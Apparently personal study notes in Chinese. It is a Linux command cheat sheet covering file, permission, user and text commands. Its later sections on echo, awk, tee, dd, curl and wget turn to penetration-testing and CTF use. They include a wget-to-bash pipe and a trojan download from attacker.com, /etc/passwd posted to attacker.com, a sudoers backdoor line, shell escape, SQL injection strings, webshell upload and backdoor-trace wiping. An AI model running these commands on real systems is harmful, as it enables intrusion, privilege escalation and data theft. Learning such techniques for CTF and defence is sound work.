1 系统信息

1.1 基础信息

1
2
3
4
5
6
date #显示当前日期和时间
cal #显示当月的日历
uptime #显示系统从开机到现在所运行的时间
w #显示登录的用户
whoami #查看你的当前用户名
uname -a #显示内核信息

1.2 系统信息

1
2
3
4
5
cat /proc/cpuinfo #查看cpu信息
cat /proc/meminfo #查看内存信息
df #显示磁盘信息
du #显示目录空间占用情况
free #显示内存及交换区占用情况

1.3 目录操作

1
2
3
4
5
6
7
8
pwd #查看当前所在目录
ls #查看当前目录下哪些文件和文件夹
ls -a #查看详细的信息
cd .. #返回当前目录的上一级目录
cd - #回到上一次所在目录
mkdir #创建一个目录
rmdir #删除空目录名

1.4 文件操作

1
2
3
4
5
6
7
cat 文件名 #查看文件内容
more 文件名 #分页查看文件内容
less 文件名 #可控分页查看文件内容
touch file1 file2 #创建两个文件
mv 路径/文件 /路劲/文件 #移动相对路径下的文件到绝对路径下
mv 文件名 新名称 #改名
cp 路径/文件 /路劲/文件 #复制相对路径下的文件到绝对路径下

2 查找命令

2.1 find命令

Linux find 命令用于在指定目录下查找文件和目录。

它可以使用不同的选项来过滤和限制查找的结果。

使用方法:find [指定查找目录] [查找规则] [查找完后的操作]
模糊查询:*.txt
iname 与 name 的区别:iname不区分大小写,name区分大小写
匹配条件 中可使用的选项有二三十个之多,以下列出最常用的部份:

  • -name pattern:按文件名查找,支持使用通配符 *?
  • -type type:按文件类型查找,可以是 f(普通文件)、d(目录)、l(符号链接)等。
  • -size [+-]size[cwbkMG]:按文件大小查找,支持使用 +- 表示大于或小于指定大小,单位可以是 c(字节)、w(字数)、b(块数)、k(KB)、M(MB)或 G(GB)。
  • -mtime days:按修改时间查找,支持使用 +- 表示在指定天数前或后,days 是一个整数表示天数。
  • -user username:按文件所有者查找。
  • -group groupname:按文件所属组查找。

动作: 可选的,用于对匹配到的文件执行操作,比如删除、复制等。

find 命令中用于时间的参数如下:

  • -amin n:查找在 n 分钟内被访问过的文件。
  • -atime n:查找在 n*24 小时内被访问过的文件。
  • -cmin n:查找在 n 分钟内状态发生变化的文件(例如权限)。
  • -ctime n:查找在 n*24 小时内状态发生变化的文件(例如权限)。
  • -mmin n:查找在 n 分钟内被修改过的文件。
  • -mtime n:查找在 n*24 小时内被修改过的文件。

在这些参数中,n 可以是一个正数、负数或零。正数表示在指定的时间内修改或访问过的文件,负数表示在指定的时间之前修改或访问过的文件,零表示在当前时间点上修改或访问过的文件。

正数应该表示时间之前,负数表示时间之内。

关于时间 n 参数的说明:

  • +n:查找比 n 天前更早的文件或目录。
  • -n:查找在 n 天内更改过属性的文件或目录。
  • n:查找在 n 天前(指定那一天)更改过属性的文件或目录。

3 文件的压缩与解压

3.1 zip格式

zip格式其实和windows的zip格式时一样的,也就是说可以和windows相互解压缩使用

命令 说明
zip 压缩文件名 源文件 压缩文件
zip -r 压缩文件名 源目录 压缩目录
unzip 压缩文件 解压缩文件

3.2 gzip格式

.gz格式本身不提供保留源文件功能功能,保留源文件是利用 -c 参数 + >,-c会将压缩结果输出到控制台,而 > 可以输出结果写入文件

命令 说明
gzip 源文件 压缩为.gz文件,源文件会消失
gzip -c 源文件 > 压缩文件 压缩为.gz格式,源文件保留
gzip -r 目录 压缩目录下的所有子文件,但是不压缩目录
gzip -d 压缩文件 解压缩文件
gunzip 压缩文件 解压缩文件
gunzip -r 目录 解压缩目录(子文件)

3.3 bz2格式

注意:.bzip2命令不能压缩目录

目录 说明
bzip2 压缩为.bz2格式,不保留文件
bzip2 -k 源文件 压缩之后保留源文件
bzip2 -d 压缩文件 解压缩文件
bunzip2 [-k] 压缩文件 解压缩,-k保留源文件

3.4 tar格式

命令 说明
tar -cvf 打包文件名 源文件 打包
tar -xvf 打包文件名 解包

选项说明:-c 打包 -v 显示过程 -x 解打包 -f 指定打包后的文件名

3.5 tar.gz格式

其实.tar.gz格式是先打包为.tar格式,再压缩为.gz格式,重点掌握压缩!

压缩多个文件只需要将多个文件空格隔开即可,将文件压缩到指定目录可以使用路径+压缩文件名

选项说明:
-z: 压缩为.tar.gz格式
-x: 解压缩.tar.gz格式
-t: 只查看压缩文件,不解压

命令 说明
tar -zcvf 压缩包名.tar.gz 源文件 压缩
tar -zxvf 压缩包名.tar.gz [-C 解压位置] 解压缩
tar -ztvf 压缩包名 .tar.gz 只查看不解压

3.6 tar.bz2格式

是先打包成.tar格式,再压缩为.bz2格式

命令 说明
tar -jcvf 压缩包名.tar.gz2 源文件 压缩
tar -jxvf 压缩包名.tar.gz2 源文件 解压缩

4 端口查看

1
2
netstat -nupl(UDP类型的端口)
netstat -ntpl(tcp类型的端口)
  • a: 表示所有
  • n: 表示不查询dns
  • t: 表示tcp协议
  • u: 表示udp协议
  • p: 表示查询占用的程序
  • l: 表示查询正在监听的程序

5 查询进程

1
ps
  • a: 显示现行终端机下的所有进程,包括其他用户的进程
  • U: 以用户为主的格式来显示进程状况
  • x: 显示没有控制终端的进程
  • A: 显示所有进程
  • e: 与”A”参数相同
  • f: 做出一个更为完整的输出

6 终止进程

kill 命令可以发送不同的信号给目标进程,来实现不同的操作,如果不指定信号,默认会发送 TERM 信号(15),即终止。若仍无法终止该程序,可使用 SIGKILL(9) 信息尝试强制删除程序。

6.1.1 语法

1
kill [options] <PID> \\

参数说明

  • -l:列出所有可用的信号。
  • -<signal>:发送特定的信号给目标进程,如 -9 表示发送 KILL 信号,即强制终止进程。

6.1.2 基本用法

终止进程:默认情况下,kill命令发送SIGTERM(信号15),这可以请求进程终止。如果进程没有捕获这个信号,它将被终止。

1
kill PID

其中 PID 是进程的 ID。

发送指定信号:通过 -s 选项可以发送指定的信号。

1
kill -s SIGNAL PID

例如,发送 SIGKILL(信号9)将立即结束进程,不能被忽略或捕获。

1
kill -9 PID

杀死进程组:使用 -9 选项可以杀死整个进程组。

1
kill -9 -PID

使用 kill -l 命令列出所有可用信号。

最常用的信号是:

  • SIGKILL(信号9):立即结束进程,不能被捕获或忽略。
  • SIGTERM(信号15):正常结束进程,可以被捕获或忽略。
  • SIGSTOP(信号19):暂停进程,不能被捕获、忽略或结束。
  • SIGCONT(信号18):继续执行被暂停的进程。
  • SIGINT(信号2):通常是Ctrl+C产生的信号,可以被进程捕获或忽略。

6.1.3 实例

终止 PID 为 1234 的进程:

1
kill 1234

强制终止 PID 为 1234 的进程:

1
kill -9 1234

向 PID 为 1234 的进程发送 SIGSTOP:

1
kill -s SIGSTOP 1234

7 文件基本属性

  • Linux系统是一个典型的多用户系统,不同的用户处于不同的地位,拥有不同的权限。为了保护系统的安全性,Linux系统对用户访问同一文件内的权限做了不同的规定
  • 在Linux中我们可以使用ll或者ls-l命令来显示一个文件的属性以及文件所属的用户和组
1
2
文件属性   连接数 属主  属组 文件大小   修改日期     文件名
-rwxr-xr-x 1 root root 4096 Jan 11 21:19 example.txt

7.1 文件属性

在 Linux 中第一个字符代表这个文件是目录、文件或链接文件等等。

  • 当为 d 则是目录
  • 当为 - 则是文件;
  • 若是 l 则表示为链接文档(link file);
  • 若是 b 则表示为装置文件里面的可供储存的接口设备(可随机存取装置);
  • 若是 c 则表示为装置文件里面的串行端口设备,例如键盘、鼠标(一次性读取装置)。

接下来的字符中,以三个为一组,且均为 rwx 的三个参数的组合。其中, r 代表可读(read)、 w 代表可写(write)、 x 代表可执行(execute)。 要注意的是,这三个权限的位置不会改变,如果没有权限,就会出现减号 - 而已。

图片.png

从左至右用 0-9 这些数字来表示。

0 位确定文件类型,第 1-3 位确定属主(该文件的所有者)拥有该文件的权限。

第4-6位确定属组(所有者的同组用户)拥有该文件的权限,第7-9位确定其他用户拥有该文件的权限。

其中,第 1、4、7 位表示读权限,如果用 r 字符表示,则有读权限,如果用 - 字符表示,则没有读权限;

2、5、8 位表示写权限,如果用 w 字符表示,则有写权限,如果用 - 字符表示没有写权限;第 3、6、9 位表示可执行权限,如果用 x 字符表示,则有执行权限,如果用 - 字符表示,则没有执行权限。

7.2 更改文件属性

7.2.1 chgrp:更改文件属组

语法:

1
chgrp [-R] 属组名 文件名

参数选项

  • -R:递归更改文件属组,就是在更改某个目录文件的属组时,如果加上 -R 的参数,那么该目录下的所有文件的属组都会更改。

7.2.2 chown:更改文件所有者(owner),也可以同时更改文件所属组。

语法:

1
2
chown [–R] 所有者 文件名
chown [-R] 所有者:属组名 文件名

进入 /root 目录(~)将install.log的拥有者改为bin这个账号:

1
2
3
4
[root@www ~] cd ~
[root@www ~]# chown bin install.log
[root@www ~]# ls -l
-rw-r--r-- 1 bin users 68495 Jun 25 08:53 install.log

将install.log的拥有者与群组改回为root:

1
2
3
[root@www ~]# chown root:root install.log
[root@www ~]# ls -l
-rw-r--r-- 1 root root 68495 Jun 25 08:53 install.log

7.2.3 chmod:更改文件9个属性

Linux文件属性有两种设置方法,一种是数字,一种是符号。

Linux 文件的基本权限就有九个,分别是 owner/group/others(拥有者/组/其他) 三种身份各有自己的 read/write/execute 权限。

先复习一下刚刚上面提到的数据:文件的权限字符为: -rwxrwxrwx , 这九个权限是三个三个一组的!其中,我们可以使用数字来代表各个权限,各权限的分数对照表如下:

  • r:4
  • w:2
  • x:1

每种身份(owner/group/others)各自的三个权限(r/w/x)分数是需要累加的,例如当权限为: -rwxrwx—- 分数则是:

  • owner = rwx = 4+2+1 = 7
  • group = rwx = 4+2+1 = 7
  • others= —- = 0+0+0 = 0

所以等一下我们设定权限的变更时,该文件的权限数字就是 770。变更权限的指令 chmod 的语法是这样的:

1
chmod [-R] xyz 文件或目录

选项与参数:

  • xyz : 就是刚刚提到的数字类型的权限属性,为 rwx 属性数值的相加。
  • -R : 进行递归(recursive)的持续变更,以及连同次目录下的所有文件都会变更

举例来说,如果要将 .bashrc 这个文件所有的权限都设定启用,那么命令如下:

1
2
3
4
5
[root@www ~]# ls -al .bashrc
-rw-r--r-- 1 root root 395 Jul 4 11:45 .bashrc
[root@www ~]# chmod 777 .bashrc
[root@www ~]# ls -al .bashrc
-rwxrwxrwx 1 root root 395 Jul 4 11:45 .bashrc

那如果要将权限变成 _-rwxr-xr—_ 呢?那么权限的分数就成为 [4+2+1][4+0+1][4+0+0]=754。

7.2.3.1 符号类型改变文件权限

还有一个改变权限的方法,从之前的介绍中我们可以发现,基本上就九个权限分别是:

  • user:用户
  • group:组
  • others:其他

那么我们就可以使用 u, g, o 来代表三种身份的权限。

此外, a 则代表 all,即全部的身份。读写的权限可以写成 r, w, x,也就是可以使用下表的方式来看:

chmod u
g
o
a
+(加入)
-(除去)
=(设定)
r
w
x
文件或目录

如果我们需要将文件权限设置为 -rwxr-xr— ,可以使用 chmod u=rwx,g=rx,o=r 文件名 来设定:

1
2
3
4
5
6
#  ``touch test1    // 创建 test1 文件
# ls -al test1 // 查看 test1 默认权限
-rw-r--r-- 1 root root 0 Nov 15 10:32 test1
# chmod u=rwx,g=rx,o=r test1 // 修改 test1 权限
# ls -al test1
-rwxr-xr-- 1 root root 0 Nov 15 10:32 test1

而如果是要将权限去掉而不改变其他已存在的权限呢?例如要拿掉全部人的可执行权限,则:

1
2
3
#  chmod  a-x test1
# ls -al test1
-rw-r--r-- 1 root root 0 Nov 15 10:32 test1

8 用户管理

Linux系统用户是根据用户ID来识别的,默认ID长度为32位,从默认ID编号为0开始,但是为了和老式系统兼容,用户ID限制在60000以下,Linux用户总共分为三种,分别如下:
root用户(ID 0)
系统用户(ID 1~499)
普通用户(ID 500以上)

8.1 创建用户

在centos中,useraddadduser是没有任何区别的,都是在创建用户,在home下自动创建目录,没有设置密码,需要使用passwd命令修改密码

ubuntu中,useraddadduser有所不同

  • useradd在使用该命令时不会自动创建与用户名同名的用户目录,而且不能自动创建shell版本,没设置密码,不能登录,需要使用passwd命令修改密码
  • adduser在使用该命令创建用户会在/home下创建与用户同名的用户目录、系统shell,会在创建时提示输入密码,更加友好
  • userdel删除用户,不会删除相关的目录文件,userdel -r可以删除用户及相关目录

8.2 组管理

8.2.1 管理命令

8.2.1.1 添加组

1
groupadd 选项 用户组

可以使用的选项有:

  • -g GID 指定新用户组的组标识号(GID)。
  • -o 一般与-g选项同时使用,表示新用户组的GID可以与系统已有用户组的GID相同。

8.2.1.2 删除组

1
groupdel 用户组

8.2.1.3 修改用户组的属性

使用groupmod命令。其语法如下:

1
groupmod 选项 用户组

常用的选项有:

  • -g GID 为用户组指定新的组标识号。
  • -o 与-g选项同时使用,用户组的新GID可以与系统已有用户组的GID相同。
  • -n新用户组 将用户组的名字改为新名字

8.2.1.4 查看所有组

1
groups #查看所有组信息

8.2.1.5 组的切换

如果一个用户同时属于多个用户组,那么用户可以在用户组之间切换,以便具有其他用户组的权限。

用户可以在登录后,使用命令newgrp切换到其他用户组,这个命令的参数就是目的用户组。例如:

1
newgrp root

比如同时在root组和user组时,如果写入文件,系统会分配主组作为文件权限,其他user组成员就无法访问,必须切换才行

8.2.2 用户与组的对应关系

一对一:即一个用户可以存在一个组中,也可以是组的唯一成员
一对多:即一个用户可以存在多个组中,这个用户就具有这些组的功能
多对一:即多个用户可以存在一个组中,这些用户拥有组的共同权限
多对多:即多用户可以存在多个组中,并且几个用户可以归属相同的组。其实是前面三条的扩展

8.3 帐号文件

8.3.1 用户管理文件

用户名配置文件/etc/passwd,每行代表一个用户账户,由七个字段组成,用冒号分隔:

  1. 用户名:用户的登录名。
  2. 密码占位符:通常为“x”,实际密码存储在_/etc/shadow_文件中。
  3. 用户ID (UID):用户的唯一标识。
  4. 组ID (GID):用户所属的主组ID。
  5. 用户描述:用户的全名或描述信息。
  6. 主目录:用户的主目录路径。
  7. 登录shell:用户登录后使用的shell。

用户名密码配置文件/etc/shadow/etc/shadow文件的每一行代表一个用户账户,使用冒号:分隔成多个字段。每个字段的含义如下:

  1. 用户名:与/etc/passwd文件中的用户名相对应。
  2. 加密密码:用户密码的加密形式。密码加密方式可能包括SHA-512、MD5、Blowfish或SHA-256等。
  3. 最后一次修改时间:从1970年1月1日起至用户最后一次修改密码时的天数。
  4. 最小时间间隔:用户两次修改密码之间所需的最小天数。
  5. 最大时间间隔:密码保持有效的最大天数。
  6. 警告时间:系统开始警告用户到用户密码正式失效之间的天数。
  7. 不活动时间:用户没有登录活动但账号仍能k式失效之间的天数。
  8. 不活动时间:用户没有登录活动但账号仍能保持有效的最大天数。
  9. 失效时间:账号的生存期,过了这个时间账号就不再是一个合法的账号,不能用来登录。
  10. 标志:保留字段,目前为空,以备将来使用。

8.3.2 组管理文件

用户组密码管理文件/etc/gshadow

  1. 用户组名:与_/etc/group_文件中的组名相对应。
  2. 用户组密码:如果字段为空或包含!,则表示该用户组没有密码。
  3. 用户组管理员:这个字段可以为空,如果有多个管理员,它们之间用逗号(,)分隔。
  4. 组成员:列出了用户组中的成员账号,如果有多个成员,也是用逗号(,)分隔。

9 权限管理

9.1 Shell命令以及运行原理

9.1.1 概念:

Linux严格意义上说的是一个操作系统,我们称之为“核心(kernel) “ ,但我们一般不能直接使用kernel,而是通过kernel的“外壳”程序(shell),来与kernel沟通

Shell(命令行解释器)的作用:

  1. 操作系统的语言是机器语言,用户直接与操作系统沟通成本大,所以Shell将用户的命令翻译给核心(kernel)处理,并将核心的处理结果翻译给用户(提供良好的使用环境)
  2. 面对用户的不合意请求,操作系统会拒绝请求,以此来保护操作系统

Shell与bash:

Shell是命令行解释器的统称,而bash的具体的一种命令行解释器

9.2 Linux权限的概念

Linux下有两种用户:

  1. 超级用户(root):可以再linux系统下做任何事情,不受限制
  2. 普通用户:在linux下做有限的事情

    注:超级用户的命令提示符是“#”,普通用户的命令提示符是“$”

9.3 Linux权限管理

9.3.1 文件访问者的分类

文件和文件目录的所有者: u—User 文件

文件目录的所有者所在的组的用户: g—Group

其它用户: o—Others

注:group的意义是在保证文件安全的前提下,进行组内协同

9.3.2 文件类型和访问权限

image-20220127162129941

image-20220127162809704

1
2
3
4
5
6
7
d:文件夹
-:普通文件
l:软链接(类似Windows的快捷方式)
b:块设备文件(例如硬盘、光驱等)
p:管道文件
c:字符设备文件(例如屏幕等串口设备)
s:套接口文件
1
2
3
4
读(r): Read对文件而言,具有读取文件内容的权限;对目录来说,具有浏览该目录信息的权限
写(w): Write对文件而言,具有修改文件内容的权限;对目录来说,具有删除移动目录内文件的权限
执行(x): execute对文件而言,具有执行文件的权限;对目录来说,具有进入目录的权限
“—”:表示不具有该项权限

9.3.3 文件权限值的表示方法

  • 字符表示方法:

image-20220127163150998

  • 8进制数值表示法:image-20220127163215643

9.3.4 目录的权限

可执行权限: 如果目录没有可执行权限, 则无法cd到目录中 可读权限: 如果目录没有可读权限, 则无法用ls等命令查看目录中的文件内容 可写权限: 如果目录没有可写权限, 则无法在目录中创建文件, 也无法在目录中删除文件 注:只要用户具有目录的写权限, 用户就可以删除目录中的文件, 而不论这个用户是否有这个文件的写 权限

10 查看命令

10.1 cat 命令 (Concatenate)

最基础的文本查看工具,适合查看内容较少的文件。它会一次性将文件的所有内容输出到终端。

  • 常用选项:

    • cat -n filename:查看内容并显示行号(包括空行)。
    • cat -A filename:显示所有不可见字符(如制表符、换行符等)。

10.2 tac 命令

cat 的反向拼写,功能也是反向的。它会从最后一行开始倒序显示文件内容,适合查看日志文件(因为最新的日志通常在最后一行)。

  • 用法: tac filename

10.3 awk 命令

极其强大的文本分析和数据处理工具。虽然主要用于编程和处理,但常用来“查看”特定列或符合条件的行。

  • 常用选项/用法:

    • awk '{print $1, $3}' filename:只查看文件的第 1 列和第 3 列(默认以空格分隔)。
    • awk '/Error/' filename:查看包含 “Error” 的行(类似 grep)。

      10.4 less 命令(强烈推荐)

用于查看内容较多、篇幅较长的文件。它是 more 命令的升级版,支持向前和向后翻页,且在加载大文件时速度极快,因为它不会一次性读取整个文件。

  • 常用操作:

    • less filename:打开文件。
    • 空格键Page Down 向下翻页,按 bPage Up 向上翻页。
    • / 输入关键字进行向下搜索,按 ? 向上搜索(按 n 找下一个)。
    • q 退出。

10.5 more 命令

less 类似的分页查看工具,但功能较弱,只能单向(向下)翻页。现在大多数情况下已被 less 替代。

  • 用法: more filename (按空格翻页,按 q 退出)

10.6 head 命令

用于查看文件的开头部分

  • 常用选项:

    • head filename:默认查看文件的前 10 行。

    • head -n 20 filename:查看文件的前 20 行。

10.7 tail 命令(排错神器)

用于查看文件的结尾部分。在服务器运维和开发中极其常用,特别是用来实时监控日志。

  • 常用选项:

    • tail filename:默认查看文件的最后 10 行。

    • tail -n 20 filename:查看文件的最后 20 行。

    • tail -f filename实时滚动查看文件追加的内容(常用于实时看日志,按 Ctrl+C 退出)。

10.8 grep 命令 (Global Regular Expression Print)

严格来说是文本搜索工具,但通常作为“过滤查看”的核心命令。它可以从文件中提取出包含指定关键字的行。

  • 常用选项:

    • grep "keyword" filename:查看包含 “keyword” 的行。

    • grep -i "keyword" filename:忽略大小写。

    • grep -v "keyword" filename:反向查找,查看不包含该关键字的行。

    • grep -n "keyword" filename:显示匹配结果及其所在的行号。

10.9 nl 命令 (Number of Lines)

专门用来添加行号并查看文件内容的命令。与 cat -n 类似,但它默认不为纯空行编号。

  • 用法: nl filename

10.10 sed 命令 (Stream Editor)

强大的流编辑器,常用于替换和修改文本,但也经常被用来查看特定行号范围的文件内容。

  • 常用用法:

    • sed -n '5,10p' filename:只查看文件的第 5 行到第 10 行内容。

11 Linux读写命令

11.1 echo命令

echo 'i love u' > a.txt,如果文件没有则创建,如果存在文件就覆盖
echo 'i love u' >> a.txt,如果文件没有则创建,如果存在文件就追加

11.1.1 编码与转义 (-e 参数)

实际上 echo 也支持编码和转义字符的解析。默认情况下,echo 会将内容当作纯字符串原样输出。如果想要让它解析底层的字节编码或特殊字符,必须加上 -e 参数(enable interpretation of backslash escapes)。

在 CTF 和渗透测试中,常见的用法如下:

  1. 十六进制编码 (Hex)
    • 极常用于写入二进制 Payload
    • 使用 \x 加上两位十六进制数。这会将纯粹的字节流写入文件,而不是写入可见字符。
1
2
# 写入一段简单的 shellcode 字节到二进制文件 
echo -e '\x31\xc0\x50\x68\x2f\x2f\x73\x68' > payload.bin
  1. 八进制编码 (Octal)
    • 使用 \0 加上一到三位八进制数,转换为对应的 ASCII 字符:
      1
      echo -e '\0101\0102\0103' # 输出大写的 ABC
  2. 常见的控制字符转义
    • \n:换行符 (Newline)
    • \t:制表符 (Tab)
    • \\:反斜杠本身
      1
      2
      # 实现多行输出
      echo -e '第一行\n第二行\t有一个Tab' > text.txt

11.1.2 末尾换行

echo 命令默认会在输出内容的末尾自动加上一个换行符(Hex 对应 0x0a)。在写入精确的二进制文件(如 ELF 感染、Shellcode)或进行 Base64 加密时,这个多出来的换行符常常会导致 Payload 结构破坏或 Hash 校验失败。

解决方法: 联合使用 -n 参数(抑制末尾换行)。习惯写成 echo -en

11.2 awk命令

awk 不仅仅是一个命令,它其实是一门极其强大的文本处理语言。在渗透测试中,当我们拿到一大段杂乱的系统信息或命令回显时,awk 是最快能帮我们“按列提取”核心数据的工具。

  1. 基础语法与核心概念 awk 默认以空格制表符**作为分隔符,将每行文本切分成多个字段(列)。

    • $0:代表整行内容。
    • $1, $2, $3...:分别代表切分后的第 1 列、第 2 列、第 3 列…
  2. 实战常用场景:提取特定列数据

    • 在处理命令输出(如 ls -l, ps)时非常有用。
1
2
3
4
5
# 只提取当前目录下所有文件的名称(ls -l 的第 9 列)
ls -l | awk '{print $9}'

# 提取当前系统的所有用户名(指定冒号为分隔符,提取第 1 列)
awk -F':' '{print $1}' /etc/passwd
  1. 实战常用场景:按模式/正则匹配后提取
    • 结合搜索功能,只处理包含特定关键字的行。
1
2
3
4
5
# 只提取 /etc/passwd 中包含 "root" 的那一行的第 1 和第 7 列
awk -F':' '/root/ {print $1, $7}' /etc/passwd

# 查找所有可以登录的系统用户(第 7 列不是 /bin/false 或 nologin)
awk -F':' '$7 !~ /nologin|false/ {print $1}' /etc/passwd
  1. 终极逃逸技巧 (Bypass Restricted Shell)
    • 当你被困在一个受限的 Shell (rbash) 中时,可以利用 awk 来弹出一个完整的交互式 Shell:
1
awk 'BEGIN {system("/bin/sh")}'

11.3 tee 命令 (权限提升与多向输出)

tee 命令就像一个“三通管”,它从标准输入读取数据,然后同时输出到屏幕和文件中。在红蓝攻防中,它最核心的价值在于配合 sudo 突破权限写入限制
实战场景:越权写入系统配置
如果你有一个低权限账号,且配置了特定命令的 sudo 无密码执行权限,但你不能直接 sudo vi /etc/passwd。如果你尝试 sudo echo "xxx" >> /etc/passwd 会报错,因为重定向符 >> 是由当前低权限的 Shell 执行的,而不是 sudo。 此时 tee 就派上用场了:

1
2
3
# -a 代表追加 (append),等同于 >>。
# 这样执行,数据流通过管道传给拥有 root 权限的 tee,成功写入受保护的文件。
echo "hacker ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers

11.4 dd 命令 (底层读写与破坏)

dd (Data Duplicator) 被极客戏称为 “Disk Destroyer”。它是 Linux 中直接进行底层块读写和字节控制的最强工具,无视文件系统格式。

实战场景:精准提取二进制数据 (Pwn/逆向)
当你只需要某个二进制文件中的特定几个字节(如提取 firmware 中的密钥),dd 可以精确切割:

1
2
# 从 target.bin 的第 1024 字节开始,读取 64 个字节并保存
dd if=target.bin of=key.bin bs=1 skip=1024 count=64

实战场景:终极痕迹清理 (彻底覆写)

1
2
# 将 100MB 的随机乱码写入后门文件,彻底破坏其内容后再删除
dd if=/dev/urandom of=/tmp/backdoor.elf bs=1M count=100 && rm -f /tmp/backdoor.elf

12 Linux网络工具

12.1 curl命令

curl (Client URL) 是命令行下最强大的网络发包工具,支持 HTTP, HTTPS, FTP 等数十种协议。在 CTF 中,它是发送精心构造的 Payload 的终极武器。

在终端里写 curl 时,Payload 外层强烈建议使用单引号 ' '。 如果使用双引号 " ",Bash 会尝试解析里面的 $` 等符号,导致 Payload 在发送前就被 Bash 篡改了。只有当你的 Payload 确实需要引用本地的 Bash 变量时,才使用双引号。

1. 基础请求与文件下载

  • -O (大写):将远端文件下载到本地,并保留原本的文件名。
  • -o (小写):将文件下载到本地,并自己指定一个新文件名。
    1
    2
    3
    4
    5
    # 下载木马文件到 /tmp 目录
    curl -O http://attacker.com/shell.elf

    # 获取网页源码并保存为 index.html
    curl http://target.com/ -o index.html

2. 控制 HTTP 请求方法与发送数据 (GET/POST)

  • -X:指定请求方法 (GET, POST, PUT, DELETE 等)。
  • -d:发送 POST 请求的数据体 (Data)。
  • -G:强制将 -d 中的数据拼接到 URL 后面作为 GET 参数发送。
1
2
3
4
5
# 发送标准的 POST 表单数据进行爆破或注入
curl -X POST -d "username=admin&password=123" http://target.com/login

# 发送 JSON 格式的数据
curl -X POST -H "Content-Type: application/json" -d '{"cmd":"id"}' http://target.com/api

3. 伪造与操控 HTTP 请求头 (Header) 在很多 Web 题目中,需要伪造 IP 或 User-Agent 来绕过 WAF。

  • -H:自定义请求头。
  • -A:快速指定 User-Agent。
1
2
3
4
5
# 伪造本地 IP 绕过限制
curl -H "X-Forwarded-For: 127.0.0.1" http://target.com/admin

# 伪装成 Google 爬虫
curl -A "Googlebot/2.1 (+http://www.google.com/bot.html)" http://target.com/

**4. 会话保持与 Cookie 管理 (Session & Cookies) 在处理需要登录鉴权、多步交互(如 POST-Redirect-GET)的题目时,必须妥善管理 Cookie。

  • -b / --cookie:携带 Cookie 发送请求(可以是直接的字符串,也可以是存有 Cookie 的文件)。
  • -c / --cookie-jar:将服务器返回的 Cookie(如 Session ID)保存到本地文件中。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 场景一:直接携带已知的伪造身份发送请求
    curl -b "session_id=admin_token_here" http://target.com/admin

    # 场景二:完整登录并利用凭证访问(解决重定向丢失状态的问题)
    # 第一步:发送登录 POST 数据,并将返回的 Session 保存到 cookie.txt
    curl -c cookie.txt -X POST -d "login-name=admin&pin=1" http://challenge.localhost/credentials

    # 第二步:携带刚保存的 cookie.txt 访问目标页面(结合 -L 自动跟随重定向)
    curl -b cookie.txt -L http://challenge.localhost/credentials

5. 自动化脚本必备参数 (静默与状态码提取) 在写 Bash 循环爆破脚本时,这些参数必不可少。

  • -s (Silent):静默模式,不显示下载进度条和报错信息。
  • -L (Location):跟随服务器的 301/302 重定向跳转。
  • -w (Write-out):提取特定的返回信息(如状态码)。
1
2
# 仅提取 HTTP 状态码,不输出网页正文内容(极其适合目录爆破脚本)
curl -s -L -o /dev/null -w "%{http_code}" http://target.com/admin

6. 数据编码与 Payload 安全发送

在发送包含特殊字符(如空格、引号、&#)的 Payload 时,如果不在 Bash 中正确处理和进行 URL 编码,极易导致语法错误或被 WAF 误杀。

  • --data-urlencode:发送 POST 数据并自动进行 URL 编码。这是发送复杂 Payload 的最佳实践,彻底解放手动编码的烦恼。

  • -G / --get:强制将 --data--data-urlencode 的内容转换到 URL 的 Query 参数中,以 GET 方式发送。

1
2
3
4
5
6
7
8
9
10
# 场景一:发送包含空格和引号的 SQL 注入 GET 请求
# 结合 -G,curl 会自动把空格变成 %20,引号变成 %22 等
curl -G http://challenge.localhost:80/ --data-urlencode 'query=" UNION SELECT flag FROM users--'

# 场景二:发送复杂的 POST 注入
# 只需要关注 payload 本身的逻辑,编码交给 curl
curl -X POST http://target.com/login --data-urlencode "username=admin' or 1=1#" --data-urlencode "password=123"

# 场景三:从文件读取 Payload 并进行 URL 编码 (读取 payload.txt 的内容赋给 cmd 变量)
curl -X POST http://target.com/api --data-urlencode "cmd@payload.txt"

7. 原生数据与二进制文件提交

标准的 -d (--data) 在读取文件时,会默认删除所有的换行符 (CR/LF),这在发送序列化数据或精确构造的 HTTP 包时是致命的。

  • --data-binary:按原样发送数据,不剔除任何换行符,常用于发送精心构造的 Payload 文件或序列化对象。
  • -F / --form:模拟表单的多部分数据上传 (multipart/form-data),常用于文件上传漏洞测试。
1
2
3
4
5
6
# 场景一:发送包含精准换行符的反序列化 Payload 或原生 HTTP 报文
curl -X POST http://target.com/vuln --data-binary @raw_payload.bin -H "Content-Type: application/octet-stream"

# 场景二:测试任意文件上传漏洞
# 注意文件路径前的 @ 符号
curl -F "file=@/tmp/webshell.php" -F "submit=upload" http://target.com/upload.php

12.2 wegt命令

作为 curl 的老牌竞争对手,wget 擅长处理大文件后台下载。当发现目标机器上没有 curl 时,wget 是第一备选。

实战场景:一句话下载并执行 (无文件落地的变种)
curl | bash 类似,wget 也可以将文件下载到标准输出 -O -,结合管道符执行,甚至加上 -q 静默模式隐藏进度条。

1
wget -q -O - [http://attacker.com/payload.sh](http://attacker.com/payload.sh) | bash

12.2.1 使用 wget 发送请求与数据

1. 发送 POST 数据表单 (--post-data) 当你需要向某个登录接口或命令执行接口提交数据时,可以使用 --post-datawget 会自动将 HTTP 请求方法转为 POST。

1
2
3
4
5
# 模拟提交登录表单,并将服务器返回的页面保存到 response.html
wget --post-data="username=admin&password=123" http://target.com/login -O response.html

# 配合静默模式 (-q) 和输出到屏幕 (-O -),实现类似 curl 的回显效果
wget -q -O - --post-data="cmd=whoami" http://target.com/api

2. 极简数据外带 / 发送文件 (--post-file) 这是红队非常喜欢的一个功能。当你拿到目标机器权限,想要把系统里的敏感文件(比如 /etc/shadow 或打包好的源码)发送到自己的服务器时,这个参数可以直接把文件内容作为 POST body 发出去。

1
2
# 直接将本地的密码文件 POST 发送给攻击者的接收接口
wget --post-file=/etc/passwd http://attacker.com/receive_data

3. 伪造 HTTP 请求头 (--header)curl -H 一样,wget 也可以用来伪造源 IP、携带 Cookie 凭证或者修改 Content-Type。

1
2
3
4
5
# 伪造本地访问绕过 403 限制,并携带管理员 Cookie
wget --header="X-Forwarded-For: 127.0.0.1" --header="Cookie: session=admin_token" http://target.com/admin_panel

# 发送 JSON 格式的 POST 数据(需要同时指定 Header 和 Data)
wget --header="Content-Type: application/json" --post-data='{"cmd":"id"}' http://target.com/api

